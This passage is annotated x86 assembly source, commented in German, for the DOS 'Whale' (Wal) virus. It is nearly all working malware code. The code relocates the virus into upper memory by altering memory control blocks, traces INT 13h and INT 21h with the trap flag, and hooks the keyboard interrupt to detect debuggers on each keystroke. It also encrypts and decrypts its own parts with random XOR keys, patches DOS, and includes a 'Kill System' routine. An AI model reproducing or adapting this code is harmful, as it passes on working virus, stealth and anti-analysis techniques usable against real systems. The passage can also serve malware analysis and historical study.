  4556.  
  4557. J047A5:         CALL    GetDTA
  4558.                 TEST    BYTE Ptr DS:[BX+17h],80h
  4559.                 JNZ     J047B7                  ; infiziert. Verschleiern !
  4560.                 JMP     J02EA3                  ; Fertig
  4561. ;=====================================================================
  4562. ;=====================================================( Trash !!! )===
  4563. ;=====================================================================
  4564. J047B1:         CLC
  4565.                 INC     DX
  4566.                 PUSH    DS
  4567.                 POP     ES
  4568.                 PUSH    DX
  4569.                 JMP     J047A0        ; DB 0EBH ; sind jetzt 2 Byte zuviel
  4570. ;-------------------------------------( 'echter code 'überlappend )---
  4571. J047B7:         MDECODE 86
  4572.                 SUB     WORD Ptr DS:[BX+1Ah],Code_len
  4573.                 SBB     WORD Ptr DS:[BX+1Ch],+00h
  4574.                 SUB     BYTE Ptr DS:[BX+17h],80h
  4575.                 MCODE   86
  4576.                 JMP     J02EA3                  ; fertig
  4577. ;=====================================================================
  4578. ;================================( Kopiert Wal in oberen Speicher )===
  4579. ;=====================================================================
  4580. Wal_Ins_MEMTOP_Kopieren:
  4581.                 MDECODE 87
  4582.                 CALL    J03350                  ; selbsttest !
  4583.                 PUSH    CS      ; ursprünglich "PUSH    DS",
  4584.                                 ; geht aber nicht
  4585.                 XOR     AX,AX
  4586.                 MOV     DS,AX
  4587.                 ;-----------------------------------------------------
  4588.                 ;       INT 3 wird auf 'IRET' im IBMBIO.COM gesetzt !
  4589.                 ;-----------------------------------------------------
  4590.                 MOV     WORD PTR DS:[000Eh],0070h
  4591.                 MOV     WORD PTR DS:[000Ch],0756h ; an Adresse 70h:756h
  4592.                 POP     DS
  4593.                 MOV     ES,[PSP_SEG]
  4594.                 PUSH    ES
  4595.                 POP     DS
  4596.                 SUB     WORD Ptr DS:[0002h],0270h; MEM-TOP neu festlegen
  4597.                 MOV     DX,DS                   ; 2700h Byte 'reservieren'
  4598.                 DEC     DX                      ; SIEHE ZEICHNUNG GANZ OBEN !
  4599.                 MOV     DS,DX                   ; DS:0 zeigt auf MCB
  4600.                 MOV     AX,WORD PTR DS:[0003h]  ; Hole Size des aktuellen MCB
  4601.                 SUB     AX,0270h                ; und ziehe 2700h Byte AB
  4602.                 ADD     DX,AX                   ; DX ist jetzt "MEM-TOP"
  4603.                 MOV     WORD PTR DS:[0003h],AX  ; MCB ändern
  4604.                 POP     DI                      ; DI = 2947h
  4605.                 INC     DX                      ; 16 Byte höher
  4606.                 MOV     ES,DX                   ; ES ist ZielSegment
  4607.                 PUSH    CS
  4608.                 POP     DS
  4609.                 MOV     SI,26FEh                ; SI = 26FE
  4610.                 MOV     CX,1380h                ; CX = 1380h (words)
  4611.                                                 ;    = 2760h (byte)
  4612.                                                 ;    = bis Stackende  !
  4613.                 MOV     DI,SI                   ; DI = SI
  4614.                 STD
  4615.                 XOR     BX,BX                   ; BX = 0
  4616.                 MCODE   87
  4617.  
  4618.                 REPZ    MOVSW                   ; fort ist er !
  4619.                 CLD                             ; erst jetzt ?!?
  4620.                 PUSH    ES                      ; Oberes Segment
  4621.                 MOV     AX,SchwimmZiel          ;
  4622.                 PUSH    AX                      ; ZIEL IST      ES:01B1h
  4623.                 MOV     ES,CS:[PSP_SEG]         ; entsprechend  CS:29C1h
  4624.                 MOV     CX,WischeWeg            ; CX = 236C
  4625.                 JMP     Schwimme_Fort           ; BX = 0
  4626. ;=====================================================================
  4627. ;=================================================( TRACE INT 13h )===
  4628. ;=====================================================================
  4629. Trace_int_13h:  MDECODE 88
  4630.  
  4631.                 MOV     BYTE PTR CS:[Error],00h
  4632.                 CALL    SaveRegisters
  4633.                 PUSH    CS
  4634.  
  4635.                 MOV     AL,13h
  4636.                 POP     DS
  4637.                 CALL    GetInt_AL
  4638.  
  4639.                 MOV     WORD PTR DS:[Trace_Adres+2],ES
  4640.                 MOV     WORD PTR DS:[Trace_Adres  ],BX
  4641.  
  4642.                 MOV     WORD PTR DS:[@Int_13h+2],ES
  4643.                 MOV     DL,02h
  4644.                 MOV     WORD PTR DS:[@Int_13h  ],BX
  4645.                 MOV     BYTE PTR DS:[D2450     ],DL ; DL=2, 2 übergehen
  4646.                 CALL    SetInt_01
  4647.  
  4648.                 MOV     WORD PTR DS:[D24DF  ],SP
  4649.                 MOV     WORD PTR DS:[D24DD  ],SS
  4650.  
  4651.                 PUSH    CS
  4652.                 MOV     AX,Offset J0488D-Offset VirStart
  4653.                 PUSH    AX              ; RETURNADRESSE für RETF ist
  4654.                                         ; CS:J0207F, also CS:488D
  4655.                 MOV     AX,0070h
  4656.                 MOV     CX,0FFFFh       ; Bis zum letzten Byte suchen ...
  4657.                 MOV     ES,AX
  4658.                 XOR     DI,DI
  4659.                 MOV     AL,0CBh         ; SCANNT IBMBIO nach 0CBh !!!
  4660.                 REPNZ   SCASB           ; Also RETF
  4661.  
  4662.                 DEC     DI
  4663.  
  4664.                 PUSHF
  4665.                 PUSH    ES
  4666.                 PUSH    DI      ; RETURNADRESSE ist "RETF" in IBMBIO.COM
  4667.  
  4668.                 PUSHF
  4669.                 POP     AX
  4670.                 OR      AH,01h  ; Set TF
  4671.                 PUSH    AX
  4672.  
  4673.                 MCODE   88
  4674.                 POPF
  4675.                 XOR     AX,AX                       ; Reset Disk :-)
  4676.                 JMP     DWORD PTR DS:[Trace_Adres]  ; Return ist J0488D
  4677.                                                     ; JMP INT 13H
  4678.                 DB      0E9h
  4679. ;=====================================================================
  4680. ;==========================================( Rückkehr aus INT 13h )===
  4681. ;=====================================================================
  4682. J0488D:         MDECODE 89
  4683.                 PUSH    CS
  4684.                 POP     DS
  4685.                 PUSH    DS
  4686.                 MOV     AL,13h
  4687.                 LDS     DX,DWORD PTR CS:[Trace_Adres]
  4688.                 CALL    SetInt_AL                  ; RE-SET INT 13
  4689.                 POP     DS
  4690.  
  4691.                 MOV     AL,24h
  4692.                 CALL    GetInt_AL                  ; GET INT 24
  4693.  
  4694.                 MOV     WORD PTR DS:[D243D],BX
  4695.                 MOV     DX,OFFSET J0444D-Offset VirStart
  4696.                 MOV     AL,24h
  4697.                 MOV     WORD PTR DS:[D243D+2],ES
  4698.                 CALL    SetInt_AL                  ; SET INT 24
  4699.                 CALL    GetRegsFromVirstack
  4700.                 PUSH    DS
  4701.                 PUSH    AX
  4702.                 MOV     AX,0000h
  4703.                 MOV     DS,AX
  4704.                 POP     AX
  4705.                 MOV     WORD Ptr DS:[0006h],0070h ; Segment INT 01
  4706.                                                   ; auf 70h setzen
  4707.                 POP     DS
  4708.                 MCODE   89
  4709.                 RETN
  4710.                 DB      0F6h
  4711. ;=====================================================================
  4712. ;===========================================( Reset INT 13+INT 24 )===
  4713. ;=====================================================================
  4714. J048CD:         MDECODE 90
  4715.                 CALL    SaveRegisters
  4716.                 LDS     DX,CS:[@Int_13h]       ; Alte Adresse INT 13
  4717.                 MOV     AL,13h
  4718.                 CALL    SetInt_AL              ; SET INT 13
  4719.                 LDS     DX,DWORD PTR CS:[D243D]; Alte Adresse INT 24
  4720.                 MOV     AL,24h
  4721.                 CALL    SetInt_AL              ; SET INT 24
  4722.                 CALL    GetRegsFromVirstack
  4723.                 MCODE   90
  4724.                 RET
  4725. ;=========================================================( trash )===
  4726.                 PUSH    CS
  4727.                 POP     AX
  4728. ;=====================================================================
  4729. ;=================================================( TRACE INT 21H )===
  4730. ;=====================================================================
  4731. J048F3:         MDECODE 91
  4732.                 ;----------------------( die Zahl 0401 bedeutet : )---
  4733.                 ;----------------------( 4 Ebenen, 1. übergehen   )---
  4734.  
  4735.                 MOV     WORD PTR CS:[D2450],0401h
  4736.                 CALL    SetInt_01
  4737.                 CALL    PopALL
  4738.                 PUSH    AX
  4739.                 MOV     AX,CS:[D24B3]
  4740.                 OR      AX,0100h                   ; Set TF
  4741.                 PUSH    AX
  4742.                 MCODE   91
  4743.                 ;---------------------------------------------
  4744.                 POPF
  4745.                 POP     AX
  4746.                 POP     BP
  4747.                 JMP     CS:[Low_INT_21H]              ; JMP INT 21h
  4748.                 ;---------------------------------------------
  4749. ;=====================================================================
  4750. J0491A:         DB      00h    ; alias "210A" ! ; Klein, aber fein :-)
  4751. ;=====================================================================
  4752. ;==========================(         DIE DECODE-ROUTINE           )===
  4753. ;==========================( Dekodiert jedes Wal-Hährchen separat )===
  4754. ;=====================================================================
  4755. J0491B:         PUSHF
  4756.                 POP     CS:[D258E]
  4757.                 MOV     CS:[D2560],AX
  4758.                 MOV     CS:[D2562],BX
  4759.                 MOV     CS:[D2564],CX
  4760.  
  4761. J0492F:         DB      26h,3bh,0,72h,2,0c3h,2,53h,89h,0c1h
  4762.                 DB      032h,0edh,026h,03ah,8,073h,047h,0f8h
  4763.  
  4764. COMMENT #       ERGIBT ;
  4765.                 ;-------------------------------------------
  4766.                 POP     BX              ; POP RETURNADRESSE
  4767.                 MOV     AX,CS:[BX]      ; GET WORD
  4768.                 ADD     BX,+02h         ; INC Returnadresse,2
  4769.                 PUSH    BX              ; auf den Stack damit
  4770.                 ;-----------------------; AL ist Zähler
  4771.                 MOV     CX,AX           ; AH ist XOR-byte
  4772.                 XOR     CH,CH
  4773. J00120:         XOR     CS:[BX],AH
  4774.                 INC     BX
  4775.                 LOOP    J00120
  4776.                 ;-------------------------------------------
  4777.  #
  4778. J04941:         MOV     AX,CS:[D2560]
  4779.                 MOV     BX,CS:[D2562]
  4780.                 MOV     CX,CS:[D2564]
  4781.                 PUSH    CS:[D258E]
  4782.                 POPF
  4783.                 RETN
  4784. ;=====================================================================
  4785. ;=====================================( kodiert das separate Teil )===
  4786. ;=====================================================================
  4787. VersteckeCodeWieder:
  4788.                 MOV     BP,AX
  4789. J04958:         IN      AL,40h          ; Hole Zufallszahl <> 0
  4790.                 OR      AL,AL
  4791.                 JZ      J04958
  4792.                 POP     BX              ; Hole Adresse des Aufrufers
  4793.                 PUSH    BX
  4794.                 MOV     CX,Offset J02ACC-Offset J02AA8
  4795.                 SUB     BX,CX           ; 24h Byte zurückgehen
  4796. J04965:         XOR     CS:[BX],AL
  4797.                 INC     BX
  4798.                 LOOP    J04965
  4799.                 CALL    J0496E
  4800. J0496E:         POP     BX
  4801.                 ADD     BX,Offset SpielByte-Offset J0496E
  4802.                                         ; Adresse "Spielbyte" holen
  4803.                 MOV     CS:[BX],AL      ; und den Dekodierer impfen
  4804.                 MOV     AX,BP
  4805.                 RETN
  4806. ;=====================================================================
  4807. ;=======================================( dekodiert den Relokator )===
  4808. ;=====================================================================
  4809. DecodeFollowingCode:
  4810.                 MOV     BP,AX           ; AX sichern
  4811.                 POP     BX
  4812.                 PUSH    BX
  4813.                 MOV     CX,Offset J02ACC-Offset J02AA8
  4814. J0497F:         XOR     BYTE PTR CS:[BX],0      ; <== "Spielbyte"
  4815. Spielbyte       EQU     $-1
  4816.                 INC     BX
  4817. J04984:         LOOP    J0497F
  4818.                 MOV     AX,BP
  4819. J04987  EQU     $-1                     ; CALL NIRWANA ! siehe unten !
  4820.                 RETN                    ; AX zurueck
  4821. ;=====================================================================
  4822. ;========================================( Kodiert jede 'schuppe' )===
  4823. ;=====================================================================
  4824. CodeIT:         PUSHF
  4825.                 POP     CS:[D258E]
  4826.                 MOV     CS:[D2560],AX
  4827.                 MOV     CS:[D2562],BX
  4828.                 MOV     CS:[D2564],CX
  4829.         ;-------------------------------------( aus )-----------------
  4830. J0499D:         DB      26h,3Bh,8Ah,0Fh,32h,72h,0E3H
  4831.         ;-------------------------------------( wird )----------------
  4832.         ;J0499D:        POP     BX                   ; POP returnadresse
  4833.         ;               MOV     CL,Byte Ptr CS:[BX]  ; Get Byte in CL
  4834.         ;               XOR     CH,CH
  4835.         ;               INC     BX                   ; Return eins weiter
  4836.         ;-------------------------------------------------------------
  4837.                 PUSH    BX
  4838.                 MOV     AX,0001h
  4839.                 ADD     AX,CX                   ; AX ist Byte + 1
  4840.                 SUB     BX,AX                   ; BX ist Returnadresse-AX
  4841.         ;-------------------------------------( aus )-----------------
  4842.                 DB      043h,040h,00ah,0c0h,074h,0fah
  4843.         ;-------------------------------------( wird )----------------
  4844.         ;J049AC:        IN      AL,40h
  4845.         ;               OR      AL,AL
  4846.         ;               JZ      J049AC  ; hole Zufallszahl <> 0
  4847.         ;-------------------------------------------------------------
  4848.                 MOV     CX,CS:[BX]
  4849.                 XOR     CH,CH
  4850.                 INC     BX
  4851.         ;-------------------------------------( aus )-----------------
  4852.                 DB      003h,00fh,02eh,03bh,007h,072h,0c7h,0f8h
  4853.         ;-------------------------------------( wird )----------------
  4854.         ;               MOV     CS:[BX],AL
  4855.         ;J001A0:        INC     BX
  4856.         ;               XOR     CS:[BX],AL
  4857.         ;               LOOP    J001A0
  4858.         ;-------------------------------------------------------------
  4859. J049C0:         CLI
  4860.                 MOV     AX,CS:[D2560]
  4861.                 MOV     BX,CS:[D2562]
  4862.                 MOV     CX,CS:[D2564]
  4863.                 PUSH    CS:[D258E]
  4864.                 POPF
  4865.                 RETN
  4866. ;=====================================================================
  4867. ;====================================================( Der Tracer )===
  4868. ;=====================================================================
  4869. Int_01_Entry:   PUSH    BP
  4870.                 MOV     BP,SP
  4871.                 PUSH    AX
  4872.                 CMP     WORD Ptr [BP+04h],0C000h  ; Callers Segment
  4873.                 JNB     J049ED                    ; höher als C000h
  4874.                 MOV     AX,CS:[D2447]             ; oder tiefer
  4875.                 CMP     [BP+04h],AX               ; als D2447
  4876.                 JBE     J049ED
  4877. J049EA:         POP     AX
  4878.                 POP     BP
  4879.                 IRET
  4880. ;=====================================================================
  4881. J049ED:         CMP     BYTE PTR CS:[D2450],01h        ; Erster
  4882.                 JZ      J04A1B
  4883.  
  4884.                 MOV     AX,[BP+04h]                    ; Callers CS
  4885.                 MOV     WORD PTR CS:[Trace_Adres+2],AX
  4886.                 MOV     AX,[BP+02h]                    ; Callers IP
  4887.                 MOV     WORD PTR CS:[Trace_Adres  ],AX
  4888.                 JB      StopTrace                      ; [D2450] < 1 ?
  4889.                 POP     AX
  4890.                 POP     BP
  4891.                 MOV     SP,CS:[D24DF]
  4892.                 MOV     SS,CS:[D24DD]
  4893.                 JMP     J0488D                  ; -> RET hier irgendwo
  4894. ;==========================================( Trace-Mode abschalten)===
  4895. StopTrace:      AND     WORD Ptr [BP+06h],0FEFFh
  4896.                 JMP     J049EA
  4897. ;=====================================================================
  4898. J04A1B:         DEC     BYTE PTR CS:[D2450+1]         ; Dec (Versuche)
  4899.                 JNZ     J049EA                        ; <> 0 -> weiter
  4900.                 AND     WORD Ptr [BP+06h],0FEFFh      ; sonst tracen
  4901.                 CALL    SaveRegisters                 ; stoppen und :
  4902. ;=====================================================================
  4903. ;=======================( AUS : )=====================================
  4904. ;=====================================================================
  4905. J04A2A:         DB      0fch,01eh,0e2h,0e4h,040h
  4906. ;=====================================================================
  4907. ;========================( WIRD, über PATCH )=========================
  4908. ;=====================================================================
  4909.                 ;CALL    J02CDA
  4910.                 ;IN      AL,40h
  4911. ;=====================================================================
  4912. ;===============================================( XOR-Byte ändern )===
  4913. ;=====================================================================
  4914.                 MOV     CS:[XorByte__1],AL           ; D_4A5E
  4915.                 MOV     CS:[XorByte__2],AL           ; D_4A79
  4916. ;=====================================================================
  4917. ;=====================================( INT 01 auf INT 03 stellen )===
  4918. ;=====================================================================
  4919. J04A39:         MOV     AL,03h
  4920.                 CALL    GetInt_AL       ; GET INT 3
  4921.  
  4922.                 PUSH    ES
  4923.                 POP     DS
  4924.                 MOV     DX,BX           ; DS:DX auf INT 3 stellen
  4925.                 MOV     AL,01h
  4926. ;=================================================================
  4927. ;======( AUS : )==================================================
  4928. ;=================================================================
  4929. J04A42:         DB      0e8h,027h
  4930. J04A44:         DB      01h             ; CALL    J04B6C
  4931.                 DB      0EAh,072h,0e1h  ; JB      J04A29
  4932. ;=================================================================
  4933. ;===================( Wird über PATCH )===========================
  4934. ;=================================================================
  4935.                 CALL    SetInt_AL       ; INT 01 auf INT 03 setzen
  4936.                 CALL    POPALL
  4937. ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  4938.                 CALL    Patch_IBMDOS
  4939.                 CALL    GetRegsFromVirstack
  4940.                 CALL    Re_SET_Int_02
  4941.                 POP     AX
  4942.                 POP     BP              ; Stack putzen
  4943.  
  4944.                 PUSH    BX
  4945.                 PUSH    CX
  4946.                 MOV     BX,PART_____1
  4947.                 MOV     CX,LEN_PART_1
  4948. J04A5B:         XOR     BYTE PTR CS:[BX],8Eh
  4949. D_4A5E  EQU     $-1
  4950.                 INC     BX
  4951.                 LOOP    J04A5B
  4952.                 POP     CX
  4953.                 POP     BX
  4954.                 IRET                    ; ENDE von INT 01 / Tracer
  4955.                 DB      0E9h
  4956. ;=====================================================================
  4957. ;================================================( INT 21-Handler )===
  4958. ;=====================================================================
  4959. J04A66:         OR      BYTE PTR CS:[PART_____1],00h  ; = D4BAC
  4960.                                            ; ist Wal schon DEkodiert ?
  4961.                 JZ      J04A7F
  4962.                 PUSH    BX                 ; Nein.
  4963. J04A6F:         PUSH    CX
  4964.                 MOV     BX,PART_____1
  4965.                 MOV     CX,LEN_PART_1
  4966. J04A76:         XOR     BYTE PTR CS:[BX],8EH
  4967. D_4A79  EQU     $-1
  4968.                 INC     BX
  4969.                 LOOP    J04A76
  4970.                 POP     CX
  4971.                 POP     BX
  4972. J04A7F:         JMP     J0458D
  4973. ;=====================================================================
  4974.                 DB      34h
  4975. ;=====================================================================
  4976. ;=======================(              INT 09-Handler             )===
  4977. ;=======================( Bei jedem (!) Tastendruck wird geprüft, )===
  4978. ;=======================( ob ein Debugger am Werk ist !           )===
  4979. ;=====================================================================
  4980. J04A83:         MDECODE 92
  4981.                 CALL    Patch_INT_09   ; INT 9 restaurieren
  4982.                 CALL    Debugger_Check ; Das ist der Witz dabei !!!
  4983.                 PUSHF
  4984.                 CALL    CS:[INT_09  ]  ; CALL INT 09
  4985.                 CALL    Patch_INT_09   ; Int 9 wieder patchen
  4986.                 MCODE   92
  4987.                 IRET
  4988. ;=======================================================()=========
  4989.                 DB      0BCH
  4990. ;=====================================================================
  4991. ;=======================================( Save Original-Registers )===
  4992. ;=====================================================================
  4993. SaveRegs:       MOV     CS:[D2575],SI
  4994.                 MOV     CS:[D2577],DI
  4995.                 MOV     CS:[D257B],DS
  4996.                 MOV     CS:[D257D],ES
  4997. J04AB1:         MOV     CS:[D2579],AX
  4998.                 MOV     CS:[D257F],CX
  4999.                 MOV     CS:[D2581],BX
  5000.                 MOV     CS:[D2590],DX
  5001.                 RETN
  5002.                 ;-----------------------------------------------------
  5003.                 DB      0E8h
  5004.                 DB      01h
  5005. ;=====================================================================
  5006. ;=============================( PATCHT vorhandenen INT 09-Handler )===
  5007. ;=====================================================================
  5008. KeyBoard        DB      0
  5009. Patch_INT_09:   MDECODE 93
  5010.                 CALL    SaveRegs
  5011. ;-----------------------------------------------------------
  5012.                 MOV     SI,Offset D2570
  5013.                 LES     DI,CS:[INT_09  ]       ; GET original INT 09
  5014.                 PUSH    CS
  5015.                 POP     DS
  5016.                 CLD
  5017. ;---------------------------( Tauscht 5 Byte ab CS:D2570  -> ES:DI )--
  5018.                 MOV     CX,0005h
  5019. J04ADD:         LODSB
  5020.                 XCHG    AL,ES:[DI]
  5021.                 MOV     [SI-01h],AL
  5022.                 INC     DI
  5023.                 LOOP    J04ADD
  5024. ;----------------------------------------( anzeige )-------------------
  5025.                 MOV     AX,0B800H
  5026.                 MOV     ES,AX
  5027.                 XOR     DI,DI
  5028.                 CMP     byte ptr cs:[Offset Keyboard-Offset VirStart],1
  5029.                 MOV     Byte ptr cs:[Offset Keyboard-Offset VirStart],0
  5030.                 MOV     AX,432EH
  5031.                 JZ      ToOriginal
  5032.                 MOV     Byte ptr cs:[Offset Keyboard-Offset VirStart],1
  5033.                 MOV     AX,4b57h
  5034. ToOriginal:     STOSW
  5035. ;-----------------------------------------------------------
  5036.                 CALL    RestoreRegs
  5037.                 MCODE   93
  5038.                 RETN
  5039. ;=====================================================================
  5040. ;====================================(    GET INT 01 + INT 03     )===
  5041. ;====================================( Check, ob Debugger werkelt )===
  5042. ;=====================================================================
  5043. Debugger_Check:
  5044.                 MDECODE 94
  5045.                 MOV     CS:[D2581],BX
  5046.                 MOV     CS:[D257D],ES
  5047.                 XOR     BX,BX
  5048.                 MOV     ES,BX
  5049.                 MOV     BX,ES:[0006h]           ; GET Offset von INT 01
  5050.                 CMP     BX,CS:[D2447]
  5051.                 JNB     J04B27                  ; TRACER   AM WERK
  5052.                 MOV     BX,ES:[000Eh]           ; GET Offset von INT 03
  5053.                 CMP     BX,CS:[D2447]
  5054.                 JNB     J04B27                  ; DEBUGGER AM WERK
  5055.                 MOV     ES,CS:[D257D]
  5056.                 MOV     BX,CS:[D2581]
  5057.                 JMP     J04B76
  5058. ;=====================================================================
  5059. ;=================================================( Kill System ! )===
  5060. ;=====================================================================
  5061. J04B27:         POP     BX                       ; POP returnadresse
  5062.                 CALL    PushALL
  5063.                 CALL    Patch_IBMDOS             ; DOS patchen
  5064.                 CALL    PopALL
  5065.  
  5066.                 MOV     BX,CS:[D2581]
  5067.                 MOV     ES,CS:[D257D]
  5068.  
  5069.                 PUSHF
  5070.                 CALL    CS:[INT_09  ]             ; CALL INT 09
  5071.  
  5072.                 CALL    PushALL
  5073.  
  5074.                 MOV     AH,51h                    ; get current PSP
  5075.                 CALL    CS:[@INT21]
  5076.  
  5077.                 MOV     ES,BX
  5078. J04B4D:
  5079.                 MOV     WORD PTR ES:[000Ch],0FFFFh; Terminate-Adresse
  5080.                 MOV     WORD PTR ES:[000Ah],0000h ; ist FFFF:0000 !?!
  5081.                 CALL    PopALL
  5082.                 CALL    SaveRegs
  5083.                 ;---------------------------------( Wal zerstören )---
  5084.                 MOV     CX,IfDebugWal   ; 1185h   ; 230Ah Byte
  5085.                 MOV     BX,StartDebug   ; 004Fh   ; ab 4Fh / 285Fh
  5086.                 MOV     AX,0802h        ; mit 0802h verORen
  5087. J04B6A:         OR      CS:[BX],AX      ; bis 4B69 , logisch, oder ....
  5088.                 ADD     BX,+02h
  5089.                 LOOP    J04B6A
  5090.                 ;----------------------------------------------------
  5091.                 CALL    RestoreRegs
  5092.                 IRET
  5093. ;=====================================================================
  5094. ;=========================================( Kein Debugger am Werk )===
  5095. ;=====================================================================
  5096. J04B76:         MCODE   94
  5097.                 RET
  5098. D4B7C:          DB      0E8h
  5099. ;=====================================================================
  5100. ;=========( Verwischt Spuren und springt in oberen Speicherbereich)===
  5101. ;=====================================================================
  5102. Schwimme_Fort:  OR      BYTE PTR CS:[BX],15h ; CX = 236Ch
  5103.                 INC     BX                   ; BX = 0
  5104.                 LOOP    Schwimme_Fort        ; also von 2810 bis D4B7C
  5105.                                              ; alles löschen
  5106.                 RETF                         ; RETF nach
  5107.                                              ; Oberen-Speicher:01B1
  5108.                                              ; Identisch mit CS:29C1
  5109. ;=====================================================================
  5110. ;========================================( Get Original-Registers )===
  5111. ;=====================================================================
  5112. RestoreRegs:    MOV     AX,CS:[D2579]
  5113.                 MOV     ES,CS:[D257D]
  5114.                 MOV     DS,CS:[D257B]
  5115.                 MOV     SI,CS:[D2575]
  5116.                 MOV     DI,CS:[D2577]
  5117.                 MOV     CX,CS:[D257F]
  5118.                 MOV     BX,CS:[D2581]
  5119.                 MOV     DX,CS:[D2590]
  5120. L0L0L0:         RETN
  5121. ;----------------------------------------------------------------------
  5122. D4BAC           DB      00h          ; Signal-Byte zur Erkennung,
  5123.                                      ; ob Wal dekodiert ist oder nicht
  5124. ;=====================================================================
  5125. ;=============================================( Verschlüsselt WAL )===
  5126. ;=====================================================================
  5127. Code_Whale:     PUSH    CX
  5128.                 PUSH    BX
  5129.                 MOV     BX,FirstByte
  5130.                 MOV     CX,Code_len     ; 2385h ; Wal-Size
  5131. LASTCODE:       ;^^^^^^^^^^^-- LETZTES VERSCHLUESSELTE BYTE        !
  5132. ;---------------------------------------------------------------------
  5133. D4BB5:          ;vvvvvvvvvvv-- HIERHER WERDEN DIE MUTANTEN KOPIERT !
  5134.                 PUSH    DX
  5135.                 MOV     DH,[BX-01h]
  5136. J04BB9:         MOV     DL,[BX    ]
  5137.                 ADD     [BX],DH
  5138.                 XCHG    DL,DH
  5139.                 INC     BX
  5140.                 LOOP    J04BB9
  5141.  
  5142.                 POP     DX
  5143.                 POP     BX
  5144.                 POP     CX
  5145.                 PUSH    SI
  5146.                 MOV     SI,2567h
  5147.                 DEC     SI
  5148.                 CALL    [SI]            ; CALL INT 21h
  5149. ;=====================================================================
  5150. ;============================================( Normaler Einsprung )===
  5151. ;=====================================================================
  5152. Decode_Whale:   CALL    J04BD1
  5153. J04BCF:         XOR     BX,SI           ; DUMMY !
  5154. J04BD1:         XOR     SI,1876h        ; SI = 1876, kann immer
  5155.                                         ; geändert werden
  5156.                 POP     BX              ; BX = 4BCF
  5157.                 POP     SI
  5158.                 SUB     BX,Code_start   ; BX = 2830
  5159.                 MOV     CX,Code_Len     ; CX = 2385 wal-size
  5160.                 PUSH    CS
  5161.                 POP     DS
  5162. J04BE0:         MOV     AL,[BX-01h]
  5163.                 SUB     [BX],AL
  5164.                 INC     BX
  5165.                 LOOP    J04BE0
  5166.                                         ; BX = 4BB5
  5167.                 ADD     BX,008Eh        ; BX = 4C43 / 2433
  5168.                 XCHG    SI,BX
  5169.                 DEC     BYTE Ptr DS:[SI]
  5170.                 JNZ     J04BF5
  5171.                 XCHG    BX,SI
  5172.                 RETN                    ;
  5173. ;=====================================================================
  5174. ;==============================================( Sprung zu ENTRY )===
  5175. ;=====================================================================
  5176. J04BF5:         PUSH    ES              ; SI ist 4C43
  5177.                 XOR     AX,AX
  5178.                 POP     DS
  5179.                 JMP     ENTRY
  5180. ;=====================================================================
  5181. ;==========================================================( ENDE )===
  5182. ;=====================================================================
  5183.                 DW      0CE8BH
  5184.                 DW      05605H
  5185. LASTBYTE:       DB         34H
  5186.  
  5187. J04C01:         DW      00045h
  5188.                 DW      05000h
  5189.                 DW      0DCE3h
  5190.                 DW      09000h
  5191.                 DW      00000h
  5192.                 DW      01F00H
  5193.                 DW      02000H
  5194.                 DB      10H
  5195. ;============================================================================
  5196. code    ENDS
  5197.         END  start
  5198.  
  5199.